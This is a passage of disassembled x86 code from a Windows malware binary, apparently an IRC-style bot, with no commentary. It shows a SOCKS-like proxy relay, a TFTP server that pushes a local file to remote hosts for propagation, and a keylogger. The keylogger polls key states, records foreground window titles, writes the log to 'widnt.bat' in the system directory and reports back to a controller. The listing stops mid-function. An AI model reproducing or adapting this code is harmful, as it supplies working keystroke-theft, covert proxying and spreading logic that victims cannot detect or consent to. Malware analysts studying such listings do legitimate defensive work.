		mov	dword_43E594[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_4113D3
		push	esi
		push	esi
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_411350


loc_41133D:				; CODE XREF: sub_4111CE+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4112A9
		push	5
		call	ds:dword_427078	; Sleep
		jmp	short loc_41133D
; ---------------------------------------------------------------------------


loc_411350:				; CODE XREF: sub_4111CE+16Dj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_434C1C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_4112A9
; ---------------------------------------------------------------------------


loc_411370:				; CODE XREF: sub_4111CE+7Bj
					; sub_4111CE+8Cj
		push	edi
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+Source]
		push	offset asc_434BE8 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4113B3
		push	esi		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_34]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_D4]	; int
		call	sub_409A73
		add	esp, 14h


loc_4113B3:				; CODE XREF: sub_4111CE+1C3j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_4151AD
		push	[ebp+var_3C]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4111CE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113D3	proc near		; DATA XREF: sub_4111CE+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
Dst		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
Str2		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_43E59C[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_4CB63C	; select
		test	eax, eax
		jnz	short loc_411454
		push	dword ptr [esi]
		call	dword_4CB6EC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_411454:				; CODE XREF: sub_4113D3+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_4CB66C	; recv
		test	eax, eax
		jg	short loc_411485
		push	dword ptr [esi]
		call	dword_4CB6EC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_411485:				; CODE XREF: sub_4113D3+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_41167F
		cmp	[ebp+var_4CF], 1
		jnz	loc_41167F
		cmp	[ebp+Str2], bl
		jz	short loc_41151B
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		lea	eax, [ebp+Dst]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41151B
		lea	eax, [ebp+Str2]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset dword_434D20 ; Format
		call	sub_415221
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CB6A4	; send
		push	dword ptr [esi]
		call	dword_4CB6EC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_41151B:				; CODE XREF: sub_4113D3+CFj
					; sub_4113D3+E5j
		push	10h		; Size
		lea	eax, [ebp+var_18]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_4CB6D4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4115B3
		call	dword_4CB5E8	; WSAGetLastError
		push	eax		; Args
		push	offset dword_434CE0 ; Format
		call	sub_415221
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	_memset
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CB6A4	; send
		push	dword ptr [esi]
		call	dword_4CB6EC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_4115B3:				; CODE XREF: sub_4113D3+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5FC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411622
		call	dword_4CB5E8	; WSAGetLastError
		push	eax		; Args
		push	offset dword_434C9C ; Format
		call	sub_415221
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	_memset
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CB6A4	; send
		push	dword ptr [esi]
		call	dword_4CB6EC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_411622:				; CODE XREF: sub_4113D3+1F0j
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CB6A4	; send
		push	dword ptr [esi]
		push	edi
		call	sub_411697
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CB6EC	; closesocket
		push	dword ptr [esi]
		call	dword_4CB6EC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_41167F:				; CODE XREF: sub_4113D3+B9j
					; sub_4113D3+C6j
		push	dword ptr [esi]
		call	dword_4CB6EC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread
sub_4113D3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411697	proc near		; CODE XREF: sub_4113D3+286p

Dst		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AD:				; CODE XREF: sub_411697+C5j
					; sub_411697+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4116C5:				; CODE XREF: sub_411697+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4116D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C5


loc_4116D5:				; CODE XREF: sub_411697+33j
		cmp	ecx, 1
		jnz	short loc_4116EA
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_4116EA:				; CODE XREF: sub_411697+41j
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB63C	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_4CB540	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_41174A
		push	edi
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB66C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792


loc_41174A:				; CODE XREF: sub_411697+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB540	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4116AD
		push	edi
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	dword_4CB6A4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AD


loc_411792:				; CODE XREF: sub_411697+9Aj
					; sub_411697+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411697	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411797	proc near		; CODE XREF: sub_411797:loc_411C08p
					; DATA XREF: sub_401ACD+210Eo ...

var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_778		= dword	ptr -778h
var_578		= byte ptr -578h
var_577		= byte ptr -577h
var_576		= byte ptr -576h
var_575		= byte ptr -575h
DstBuf		= byte ptr -574h
var_374		= dword	ptr -374h
Filename	= byte ptr -370h
Str		= byte ptr -26Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
Dest		= byte ptr -50h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
Dst		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
File		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		xor	ebx, ebx
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_374]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_164]
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], eax
		mov	[edx+2A0h], eax
		call	dword_4CB6D4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_411837
		push	190h
		call	ds:dword_427078	; Sleep
		cmp	[ebp+var_D8], ebx
		jnz	short loc_411817
		push	ebx		; int
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]	; int
		push	eax		; int
		lea	eax, [ebp+var_15C]
		push	eax		; Str
		push	[ebp+var_374]	; int
		call	sub_409A73
		add	esp, 14h


loc_411817:				; CODE XREF: sub_411797+5Bj
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_4151AD
		push	[ebp+var_168]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_411837:				; CODE XREF: sub_411797+48j
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	esi
		call	dword_4CB634	; setsockopt
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	dword_4CB634	; setsockopt
		mov	eax, [ebp+var_168]
		push	10h		; Size
		imul	eax, 234h
		push	ebx		; Val
		mov	dword_43E59C[eax], esi
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_160]
		call	dword_4CB654	; htons
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	esi
		mov	[ebp+var_28], ebx
		call	dword_4CB680	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4118C1
		push	1388h
		call	ds:dword_427078	; Sleep
		dec	[ebp+var_164]
		push	[ebp+arg_0]
		jmp	loc_411C08
; ---------------------------------------------------------------------------


loc_4118C1:				; CODE XREF: sub_411797+10Fj
		lea	eax, [ebp+Filename]
		push	offset aRb	; "rb"
		push	eax		; Filename
		call	_fopen
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+File], eax
		jnz	short loc_411927
		push	190h
		call	ds:dword_427078	; Sleep
		push	ebx		; int
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]	; int
		push	eax		; int
		lea	eax, [ebp+var_15C]
		push	eax		; Str
		push	[ebp+var_374]	; int
		call	sub_409A73
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_4151AD
		push	[ebp+var_168]
		call	sub_40B413
		add	esp, 1Ch
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_411927:				; CODE XREF: sub_411797+142j
					; sub_411797+42Bj
		mov	edi, [ebp+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_411BCB
		mov	edi, 80h
		lea	eax, [ebp+var_D0]
		push	edi		; Size
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_1C], 5
		mov	[ebp+var_18], 1388h
		mov	[ebp+var_878], esi
		mov	[ebp+var_87C], 1
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		push	ebx
		call	dword_4CB63C	; select
		test	eax, eax
		jle	loc_411BBF
		mov	al, byte_43D808
		mov	ecx, edi
		mov	[ebp+var_578], al
		xor	eax, eax
		lea	edi, [ebp+var_577]
		mov	[ebp+var_C], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D0]
		push	80h
		push	eax
		push	esi
		call	dword_4CB62C	; recvfrom
		push	[ebp+var_38]
		mov	[ebp+var_8], eax
		call	dword_4CB6E0	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_D0], bl
		pop	ecx
		pop	ecx
		jnz	loc_411BA9
		cmp	[ebp+var_CF], 1
		jnz	loc_411AAF
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		push	ebx		; Origin
		push	ebx		; Offset
		push	[ebp+File]	; File
		call	_fseek
		push	[ebp+File]	; File
		lea	eax, [ebp+DstBuf]
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		push	200h		; Count
		push	1		; ElementSize
		push	eax		; DstBuf
		mov	[ebp+var_576], bl
		mov	[ebp+var_575], 1
		call	_fread
		add	esp, 20h
		lea	ecx, [ebp+var_3C]
		mov	[ebp+var_8], eax
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4CB6B8	; sendto
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferSt ; "Tftp transfer	started	to: %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_411A9D
		push	ebx		; int
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]	; int
		push	eax		; int
		lea	eax, [ebp+var_15C]
		push	eax		; Str
		push	[ebp+var_374]	; int
		call	sub_409A73
		add	esp, 14h


loc_411A9D:				; CODE XREF: sub_411797+2E1j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_4151AD
		pop	ecx
		jmp	loc_411BBF
; ---------------------------------------------------------------------------


loc_411AAF:				; CODE XREF: sub_411797+257j
		cmp	[ebp+var_CF], 4
		jnz	loc_411BA9
		mov	cl, [ebp+var_CD]
		mov	al, [ebp+var_CE]
		cmp	cl, 0FFh
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		jnz	short loc_411AEC
		inc	al
		xor	cl, cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], bl
		jmp	short loc_411AFA
; ---------------------------------------------------------------------------


loc_411AEC:				; CODE XREF: sub_411797+341j
		inc	cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], cl


loc_411AFA:				; CODE XREF: sub_411797+353j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		mov	edi, 200h
		shl	eax, 9
		sub	eax, edi
		push	ebx		; Origin
		push	eax		; Offset
		push	[ebp+File]	; File
		call	_fseek
		push	[ebp+File]	; File
		lea	eax, [ebp+DstBuf]
		push	edi		; Count
		push	1		; ElementSize
		push	eax		; DstBuf
		call	_fread
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_8], edi
		push	[ebp+var_C]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4CB6B8	; sendto
		cmp	edi, ebx
		jnz	short loc_411BBF
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferCo ; "Tftp transfer	complete to: %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_411B94
		push	ebx		; int
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]	; int
		push	eax		; int
		lea	eax, [ebp+var_15C]
		push	eax		; Str
		push	[ebp+var_374]	; int
		call	sub_409A73
		add	esp, 14h


loc_411B94:				; CODE XREF: sub_411797+3D8j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_4151AD
		inc	dword_4CE15C
		pop	ecx
		jmp	short loc_411BBF
; ---------------------------------------------------------------------------


loc_411BA9:				; CODE XREF: sub_411797+24Aj
					; sub_411797+31Fj
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	9
		push	offset dword_434D60
		push	esi
		call	dword_4CB6B8	; sendto


loc_411BBF:				; CODE XREF: sub_411797+1E9j
					; sub_411797+313j ...
		cmp	[ebp+var_8], ebx
		jg	loc_411927
		mov	edi, [ebp+arg_0]


loc_411BCB:				; CODE XREF: sub_411797+199j
		push	esi
		call	dword_4CB6EC	; closesocket
		push	[ebp+File]	; File
		call	_fclose
		dec	[ebp+var_164]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_411BFC
		push	[ebp+var_168]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_411BFC:				; CODE XREF: sub_411797+450j
		push	3E8h
		call	ds:dword_427078	; Sleep
		push	edi


loc_411C08:				; CODE XREF: sub_411797+125j
		call	sub_411797
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_411797	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_411C14(int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_411C14	proc near		; CODE XREF: sub_411CF5+B4p
					; sub_411CF5+253p

Dest		= byte ptr -314h
Filename	= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	ds:dword_42712C	; GetLocalTime
		lea	eax, [ebp+Filename]
		push	104h
		push	eax
		call	ds:dword_427074	; GetSystemDirectoryA
		lea	eax, [ebp+Filename]
		push	offset asc_43554C ; "\\"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+Filename]
		push	offset aWidnt_bat ; "widnt.bat"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+Filename]
		push	offset Mode	; "ab"
		push	eax		; Filename
		call	_fopen
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7B
		push	1
		pop	eax
		jmp	short loc_411CF2
; ---------------------------------------------------------------------------


loc_411C7B:				; CODE XREF: sub_411C14+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi		; File
		call	_fprintf
		push	esi		; File
		call	_fclose
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_411CF0
		push	[ebp+arg_0]
		lea	eax, [ebp+Dest]
		push	offset asc_43551C ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 24h


loc_411CF0:				; CODE XREF: sub_411C14+A3j
		xor	eax, eax


loc_411CF2:				; CODE XREF: sub_411C14+65j
		pop	esi
		leave
		retn
sub_411C14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411CF5	proc near		; DATA XREF: sub_401ACD+4509o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
Dest		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
Dst		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_4CB5D8	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4CB5F0	; GetWindowTextA
		mov	ebx, 200h


loc_411D50:				; CODE XREF: sub_411CF5+2C7j
		push	8
		call	ds:dword_427078	; Sleep
		call	dword_4CB5D8	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	short loc_411DD8
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4CB5F0	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax		; int
		lea	eax, [ebp+Dest]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax		; int
		call	_sprintf
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+Dest]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax		; int
		rep movsd
		call	sub_411C14
		mov	[ebp+var_4], eax
		push	ebx		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0A4h
		lea	eax, [ebp+Dest]
		push	ebx		; Size
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch


loc_411DD8:				; CODE XREF: sub_411CF5+6Cj
		mov	[ebp+arg_0], offset aB_0 ; "b"


loc_411DDF:				; CODE XREF: sub_411CF5+2BDj
		push	10h
		call	dword_4CB528	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_4CB620	; GetAsyncKeyState
		test	ah, 80h
		jz	short loc_411E77
		push	14h
		call	dword_4CB528	; GetKeyState
		test	ax, ax
		jz	short loc_411E28
		cmp	esi, 0FFFFFFFFh
		jle	short loc_411E28
		cmp	edi, 40h
		jle	short loc_411E28
		cmp	edi, 5Bh
		jge	short loc_411E28
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_411FA7
; ---------------------------------------------------------------------------


loc_411E28:				; CODE XREF: sub_411CF5+112j
					; sub_411CF5+117j ...
		push	14h
		call	dword_4CB528	; GetKeyState
		test	ax, ax
		jz	short loc_411E53
		test	esi, esi
		jge	short loc_411E67
		cmp	edi, 40h
		jle	short loc_411E53
		cmp	edi, 5Bh
		jge	short loc_411E53
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_411FA7
; ---------------------------------------------------------------------------


loc_411E53:				; CODE XREF: sub_411CF5+13Ej
					; sub_411CF5+147j ...
		test	esi, esi
		jge	short loc_411E67
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_411FA7
; ---------------------------------------------------------------------------


loc_411E67:				; CODE XREF: sub_411CF5+142j
					; sub_411CF5+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_411FA7
; ---------------------------------------------------------------------------


loc_411E77:				; CODE XREF: sub_411CF5+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_411FA7
		and	dword ptr [eax], 0
		lea	eax, [ebp+Dst]
		cmp	edi, 8
		push	eax		; Str
		jnz	short loc_411EAF
		call	_strlen
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_411FA7
; ---------------------------------------------------------------------------


loc_411EAF:				; CODE XREF: sub_411CF5+1A5j
		call	_strlen
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_411EE1
		call	dword_4CB5D8	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4CB5F0	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_411F22
; ---------------------------------------------------------------------------


loc_411EE1:				; CODE XREF: sub_411CF5+1C5j
		cmp	edi, 0Dh
		jnz	loc_411F79
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jz	loc_411FA7
		call	dword_4CB5D8	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4CB5F0	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax		; int
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_411F22:				; CODE XREF: sub_411CF5+1EAj
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	_sprintf
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+Dest]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax		; int
		rep movsd
		call	sub_411C14
		mov	[ebp+var_4], eax
		push	ebx		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0A4h
		lea	eax, [ebp+Dest]
		push	ebx		; Size
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		jmp	short loc_411FA7
; ---------------------------------------------------------------------------


loc_411F79:				; CODE XREF: sub_411CF5+1EFj
		cmp	esi, 1
		jz	short loc_411F92
		cmp	esi, 3
		jz	short loc_411F92
		cmp	esi, 2
		jz	short loc_411F8D
